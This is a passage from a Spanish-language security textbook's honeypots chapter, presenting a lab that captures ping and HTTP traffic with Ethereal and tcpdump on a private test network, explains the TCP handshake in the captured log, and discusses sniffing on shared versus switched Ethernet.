Ejecute el comando en la consola grafica CTRL-ALT-F7:
ethereal &
Para ponerlo a funcionar ir al men Capture, Start Capture. Capture datos por todas las interfaces (any)
Resultado 3.2: Simultneamente Inicie un ping a la direccin 192.168.100.2
direccin 192.168.100.3.

y la conexin web a la

Capture la secuencia de trfico y analice el establecimiento y la secuencia de la conexin http, por ejemplo
veamos:
22:26:47.647867 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:47.648175 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:48.641215 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:48.641333 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:49.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:49.641309 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:2386902885(0) win 32767
<mss 16396,sackOK,timestamp 912089 0,nop,wscale 0> (DF) [tos 0x10]
22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:3385644204(0) ack
2386902886 win 16430 <mss 1460> (DF)
22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767 (DF) [tos 0x10]
22:26:50.641214 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:50.641461 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:51.641205 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:51.641303 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:52.641208 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:52.641324 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:53.641207 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:53.641315 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:54.641204 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:54.641299 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:55.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
22:26:55.641290 192.168.100.2 > 192.168.100.1: icmp: echo reply
22:26:55.854772 192.168.100.1.32782 > 192.168.100.3.www: P 1:17(16) ack 1 win 32767 (DF) [tos 0x10]
22:26:55.854815 192.168.100.3.www > 192.168.100.1.32782: . ack 17 win 16414

603

Parte V, Captulo 22 Honeypots, conociendo al enemigo

22:26:56.564418
22:26:56.564479
22:26:56.567622
22:26:56.567636
22:26:56.567664
22:26:56.567669
22:26:56.567693
22:26:56.567698
22:26:56.632032
22:26:56.641218
22:26:56.671194
22:26:56.682492
22:26:56.682629
0x10]
22:26:56.682659
22:26:57.641210
22:26:57.641298
22:26:58.641206
22:26:58.641275

192.168.100.1.32782 > 192.168.100.3.www: P 17:19(2) ack 1 win 32767 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: . ack 19 win 16428
192.168.100.3.www > 192.168.100.1.32782: . 1:513(512) ack 19 win 16430
192.168.100.1.32782 > 192.168.100.3.www: . ack 513 win 33768 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: . 513:1025(512) ack 19 win 16430
192.168.100.1.32782 > 192.168.100.3.www: . ack 1025 win 33768 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: . 1025:1059(34) ack 19 win 16430
192.168.100.1.32782 > 192.168.100.3.www: . ack 1059 win 33768 (DF) [tos 0x10]
192.168.100.3.www > 192.168.100.1.32782: F 1059:1059(0) ack 19 win 16430
192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
192.168.100.1.32782 > 192.168.100.3.www: . ack 1060 win 33768 (DF) [tos 0x10]
192.168.100.2 > 192.168.100.1: icmp: echo reply
192.168.100.1.32782 > 192.168.100.3.www: F 19:19(0) ack 1060 win 33768 (DF) [tos
192.168.100.3.www > 192.168.100.1.32782: . ack 20 win 16430
192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
192.168.100.2 > 192.168.100.1: icmp: echo reply
192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
192.168.100.2 > 192.168.100.1: icmp: echo reply

Anlisis del trfico:


22:26:47.647867
22:26:47.648175
22:26:48.641215
22:26:48.641333
22:26:49.641206
22:26:49.641309

192.168.100.1
192.168.100.2
192.168.100.1
192.168.100.2
192.168.100.1
192.168.100.2

>
>
>
>
>
>

192.168.100.2:
192.168.100.1:
192.168.100.2:
192.168.100.1:
192.168.100.2:
192.168.100.1:

icmp:
icmp:
icmp:
icmp:
icmp:
icmp:

echo
echo
echo
echo
echo
echo

request (DF)
reply
request (DF)
reply
request (DF)
reply

Este parrafo de trfico nos muestra el ping request y el ping reply entre el cliente 192.168.100.1 y el
servidor 192.168.100.2
Anlisis del trfico:
22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:2386902885(0) win 32767
<mss 16396,sackOK,timestamp 912089 0,nop,wscale 0> (DF) [tos 0x10]
22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:3385644204(0) ack
2386902886 win 16430 <mss 1460> (DF)
22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767 (DF) [tos 0x10]
El registro 22:26:49.981941 nos muestra el cliente192.168.100.1 puerto 32782 enviando un Sync al
servidor 192.168.100.3 puerto 80, el sync se representa por la letra 'S' mayscula
El registro 22:26:49.982318 muestra los paquetes Sync + Ack enviados por el servidor 192.168.100.3
puerto 80 hacia el cliente 192.168.100.1 puerto 32782, el synck se representa por la letra 'S' y el ACK por
las letras 'ack'
Ahora en el registro 22:26:49.982332 el cliente 192.168.100.1 puerto 32782 enva el paquete ACK al
servidor 192.168.100.3 puerto 80 y con esto se completa la secuencia de conexin para el servicio web
(http) que presta el servidor al cliente.
El resto del trfico muestra un ping entre el cliente y el servidor as como el envo de la pgina web desde el
servidor hasta el cliente, adems se ve el fin de la conexin cliente servidor con la letra 'F'.
En el momento de iniciar la captura, separe mediante filtrado (opcion filter dentro del men capture) el
trafico ICMP, guarde el resultado de la captura HTTP en un archivo y recuprelo mas tarde para anlisis.
Se puede analizar este archivo de logs de la misma forma que lo hara con la captura en vivo?
Separe el trafico ICMP en el archivo tcpdump.icmp y el trafico http en el archivo tcpdump.http luego los
recupera por la opcin File, Open, Nombre del archivo.
Y se debe poder analizar de la misma forma.
Para probarlo tome un registro, luego la opcin TCP y luego Flags, siempre deber observar la misma
informacin.

604

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Que ventajas ve en Ethereal frente a tcpdump y a la inversa?


En principio debera ver que el formato en ambos es tcpdump, lo que permite que ambos comandos vean la
misma informacin. La mayora de personas prefieren el ethereal por que es grafico, parece que al cerebro le
gustan las cosas en modo grafico pero es posible que el servidor pierda el modo grafico con lo que el modo
carcter de tcpdump es una gran ventaja.
Obviamente, en este caso hemos simulando toda la maqueta en una sola maquina, Aun as que opina de la
seguridad en las redes Ethernet compartidas? Como aumenta la seguridad en redes conmutadas?
Las redes compartidas tienen un solo dominio de colisiones y esto hace que un sniffer pueda ver todo el
trfico sin excepciones. Las redes compartidas son vulnerables frente a sniffing y se debe haber probado en
estos laboratorios.
Los switchs que permiten las redes conmutadas mejoran la seguridad, pues cada puerto del switch puede ser
un dominio de colisiones independiente. Ahora es importante recordar que si la tabla o cache ARP dentro del
switch es inundada con Ips de origen que no existen el switch se vera obligado a enviar por medio de
broadcast requerimientos a los otros dominios y al haber broadcast los sniffers podrn ver la informacin.

11.0

Bibliografia

Carlos Santiago lvarez Cabrera, artculo Honeypots Aspectos penales, Colombia, Diciembre de 2005,
http://cyberlaws.blogspot.com

605

Das könnte Ihnen auch gefallen